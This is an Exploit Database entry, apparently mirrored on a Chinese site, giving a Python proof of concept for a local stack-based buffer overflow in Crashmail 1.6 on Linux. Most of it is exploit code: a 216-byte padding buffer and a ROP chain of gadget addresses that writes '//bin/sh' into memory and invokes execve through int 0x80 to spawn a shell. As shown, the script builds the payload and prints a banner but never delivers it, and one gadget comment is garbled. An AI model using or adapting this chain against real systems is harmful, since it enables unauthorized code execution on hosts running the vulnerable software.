Crashmail 1.6 – Stack-Based Buffer Overflow (ROP)

Exploit Database
108 阅读

作者： Juan Sacco

日期： 2018-03-23
类别：
- local
平台：
- linux
来源：https://www.exploit-db.com/exploits/44331/

# Exploit author: Juan Sacco <jsacco@exploitpack.com>

# Website: http://exploitpack.com

# Description: Crashmail is prone to a stack-based buffer overflow because the application fails to perform adequate boundary checks on user supplied input.

# Impact: An attacker could exploit this vulnerability to execute arbitrary code in the context of the application. Failed exploit attempts may result in a denial-of-service condition.

# Vendor homepage: http://ftnapps.sourceforge.net/crashmail.html

# Affected version: 1.6 ( Latest )

import os, subprocess

from struct import pack

p = lambda x : pack('I', x)

IMAGE_BASE_0 = 0x08048000 # ./crashmail

rebase_0 = lambda x : p(x + IMAGE_BASE_0)

# Control of EIP at 216

# ROP chain: execve ( binsh )

# Static-linked

junk = 'A'*216 # Fill

ropchain = rebase_0(0x0002ecdf) # 0x08076cdf: pop eax; ret;

ropchain += '//bi'

ropchain += rebase_0(0x000705aa) # 0x080b85aa: pop edx; ret;

ropchain += rebase_0(0x000e9060)

ropchain += rebase_0(0x0002b42d) # 0x0807342d: mov dword ptr [edx], eax; ret;

ropchain += rebase_0(0x0002ecdf) # 0x08076cdf: pop eax; ret;

ropchain += 'n/sh'

ropchain += rebase_0(0x000705aa) # 0x080b85aa: pop edx; ret;

ropchain += rebase_0(0x000e9064)

ropchain += rebase_0(0x0002b42d) # 0x0807342d: mov dword ptr [edx], eax; ret;

ropchain += rebase_0(0x000391a0) # 0x080811a0: xor eax, eax; ret;

ropchain += rebase_0(0x000705aa) # 0x080b85aa: pop edx; ret;

ropchain += rebase_0(0x000e9068)

ropchain += rebase_0(0x0002b42d) # 0x0807342d: mov dword ptr [edx], eax; ret;

ropchain += rebase_0(0x000001f9) # 0x080481f9: pop ebx; ret;

ropchain += rebase_0(0x000e9060)

ropchain += rebase_0(0x000e0e80) # 0x08128e80: pop ecx; push cs; adc

al, 0x41; ret;

ropchain += rebase_0(0x000e9068)

ropchain += rebase_0(0x000705aa) # 0x080b85aaop edx; ret;

ropchain += rebase_0(0x000e9068)

ropchain += rebase_0(0x0002ecdf) # 0x08076cdf: pop eax; ret;

ropchain += p(0xfffffff5)

ropchain += rebase_0(0x00051dc7) # 0x08099dc7: neg eax; ret;

ropchain += rebase_0(0x00070e80) # 0x080b8e80: int 0x80; ret;

evil_buffer = junk + ropchain

print "[*] Exploit Pack http://exploitpack.com - Author: jsacco@exploitpack.com"